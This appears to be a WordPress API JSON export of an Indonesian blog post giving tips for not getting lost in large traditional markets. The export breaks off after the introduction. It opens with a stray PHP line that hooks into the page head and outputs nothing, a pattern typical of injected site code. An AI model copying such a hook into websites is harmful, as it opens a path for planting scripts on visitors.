add_action('wp_head', function(){echo '';}, 1);{"id":11134,"date":"2021-06-11T11:12:28","date_gmt":"2021-06-11T04:12:28","guid":{"rendered":"https:\/\/blog.titipku.com\/?p=11134"},"modified":"2021-06-11T11:12:28","modified_gmt":"2021-06-11T04:12:28","slug":"tips-agar-tidak-tersesat-di-pasar","status":"publish","type":"post","link":"https:\/\/titipku.com\/blog\/tips-agar-tidak-tersesat-di-pasar\/","title":{"rendered":"Tips Agar Tidak Tersesat di Pasar Tradisional"},"content":{"rendered":"

\"tersesat,<\/p>\n

Saat mendengar pasar tradisional, apa yang ada di bayangan kita adalah pasar-pasar satu lantai yang ukurannya kecil dan hanya beroperasi di pagi hari. Padahal, saat ini sudah sangat banyak pasar tradisional yang menggunakan bangunan bertingkat dan ukuran bangunannya yang sangat besar. Di Jakarta ada Pasar Mandiri yang terbilang besar. Di Yogyakarta ada juga Pasar Beringharjo yang memiliki 3 lantai dan terbagi atas 4 gedung. Pasar-pasar inilah yang membuat kita rentan tersesat.<\/p>\n

<\/p>\n

Bagi Anda yang tidak terbiasa masuk ke pasar-pasar<\/a> besar, tentu akan riskan tersesat. Alhasil, Anda hanya membuang waktu berputar-putar di pasar untuk mencari pedagang yang ingin Anda beli produknya. Jika kebetulan Anda hadir saat pasar sedang sibuk, maka besar kemungkinan juga produk sudah tidak lengkap saat Anda berhasil menemukan pedagangnya.<\/p>\n

Untuk itu, ikuti tips di bawah ini untuk mengurangi risiko tersesat di pasar<\/a>.<\/p>\n

 <\/p>\n